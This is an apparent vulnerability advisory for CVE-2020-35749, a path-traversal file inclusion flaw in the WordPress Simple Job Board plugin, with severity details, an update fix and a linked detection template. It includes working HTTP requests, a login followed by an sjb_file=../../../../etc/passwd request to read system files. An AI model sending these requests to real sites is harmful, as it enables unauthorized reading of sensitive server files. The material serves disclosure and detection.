| Title | WordPress Simple Job Board <2.9.4 - Local File Inclusion |
|---|---|
| Author | cckuailong |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to further compromise. |
| Remediation | Update to WordPress Simple Job Board version 2.9.4 or later to fix the vulnerability. |
| CVSS Score | 7.7 |
| EPSS Score | 0.76788 |
| CVE ID | CVE-2020-35749 |
| CWE ID | CWE-22 |
| Tags | cve cve2020 authenticated packetstorm wp lfi wordpress wp-plugin wpscan presstigers vuln |
WordPress Simple Job Board prior to version 2.9.4 is vulnerable to arbitrary file retrieval vulnerabilities because it does not validate the sjb_file parameter when viewing a resume, allowing an authenticated user with the download_resume capability (such as HR users) to download arbitrary files from the web-server via local file inclusion.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=DiTMMR&pwd=DzWFV1&wp-submit=Log+In&testcookie=1
GET /wp-admin/post.php?post=372&action=edit&sjb_file=../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-35749.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-35749.pcap
N/AN/A